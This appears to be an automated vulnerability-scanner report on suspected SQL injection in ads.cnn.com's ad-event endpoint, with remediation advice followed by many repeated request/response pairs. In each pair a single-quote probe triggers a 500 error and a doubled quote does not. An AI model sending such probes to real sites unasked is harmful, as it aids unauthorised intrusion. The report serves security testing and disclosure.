SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 20:38:56 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 20:38:56 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://ads.cnn.com:80/http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware Expires: Sun, 07 Nov 2010 20:38:56 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Values=1588&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 20:38:58 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=click&FlightID=259863&AdID=465828&TargetID=93209&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,35605,36376,37152,37430,37510,37580,37637,37693,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Values=1588&Redirect=http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 20:38:58 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://ads.cnn.com:80/http:/itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware Expires: Sun, 07 Nov 2010 20:38:58 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=click&FlightID=320202&AdID=436250&TargetID=108409&Values=1588&Redirect=$CTURL$ HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:08:06 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=click&FlightID=320202&AdID=436250&TargetID=108409&Values=1588&Redirect=$CTURL$ HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:08:06 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://ads.cnn.com:80/$CTURL$ Expires: Sun, 07 Nov 2010 21:08:06 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=click&FlightID=340502&AdID=465353&TargetID=108588&Values=1588&Redirect=$CTURL$ HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:08:09 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=click&FlightID=340502&AdID=465353&TargetID=108588&Values=1588&Redirect=$CTURL$ HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:08:09 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://ads.cnn.com:80/$CTURL$ Expires: Sun, 07 Nov 2010 21:08:09 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19974,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,46824&Values=43,60,80,101,150,1266,1588,2684,2741,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/www.cnn.com HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:08:21 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=click&FlightID=4621&AdID=220606&TargetID=1515&Segments=934,2247,2595,2743,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,19974,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,46824&Values=43,60,80,101,150,1266,1588,2684,2741,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&Redirect=http:/www.cnn.com HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:08:21 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://ads.cnn.com:80/http:/www.cnn.com Expires: Sun, 07 Nov 2010 21:08:21 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:02:06 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bjjvory,bgnocyRtpquc HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:07:45 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=367311&FlightID=268305&TargetID=104391&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,26111,30220,30645,31782,32573,32594,32787,33587,33723,33852,36376,37152,37430,37580,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42839,42860,43109,43384,43460,43581,43625&Targets=75377,1515,104391,74817&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,58920,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=bjjvory,bgnocyRtpquc HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:07:45 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://i.cdn.turner.com/cnn/images/1.gif Expires: Sun, 07 Nov 2010 21:07:45 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:06:16 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=cqsfhkz,bgnocyRtpqxp HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:07:41 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=435419&FlightID=303064&TargetID=93105&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,16113,17251,18517,18871,18982,20139,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,37649,37651,38203,39390,39416,40253,41599,41850,42274,42275,42364,42796,42804,42838,42860,43109,43384,43460,43581,43625&Targets=1515,93105&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61463,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=cqsfhkz,bgnocyRtpqxp HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:07:41 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://i.cdn.turner.com/cnn/images/1.gif Expires: Sun, 07 Nov 2010 21:07:41 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:02:18 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=belzshc,bgnocyWtpqyW HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 1
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:07:56 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
Request 2
GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=436250&FlightID=320202&TargetID=108409&SiteID=1588&EntityDefResetFlag=0&C=0&Segments=934,2247,2607,2611,2743,2823,3285,7655,9496,9779,9781,9784,9853,10375,15605,16113,17251,18517,18871,18982,20139,25515,25521,25530,25542,25901,30220,31782,32573,32594,33587,33852,36376,37152,37430,37580,38122,38203,38962,39390,39416,40253,40608,41598,41599,41850,42274,42275,42364,42796,42804,42809,42838,42860,43109,43384,43460,43581,43625&Targets=14383,2739,104533,1515,95439,29142,99408,88694,90706,108402,108409,94538,108713,108714,106678,104436,105839,106115,106676&Values=43,60,80,101,150,1266,1588,2684,2737,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61883,61913,62119,63498&RawValues=NGUSERID,aa55a53-20641-1094127048-2,TIELID,1570051619821&random=belzshc,bgnocyWtpqyW HTTP/1.1 Host: ads.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;
Response 2
HTTP/1.1 302 Found Date: Sun, 07 Nov 2010 21:07:56 GMT Server: Apache Pragma: no-cache Content-Length: 0 Cache-control: no-cache, max-age=0, no-cache, private Location: http://i.cdn.turner.com/cnn/images/1.gif Expires: Sun, 07 Nov 2010 21:07:56 GMT Connection: close Content-Type: text/html
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
HTTP/1.1 500 Internal Server Error Date: Sun, 07 Nov 2010 21:01:57 GMT Server: Apache Content-Length: 598 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or mis ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
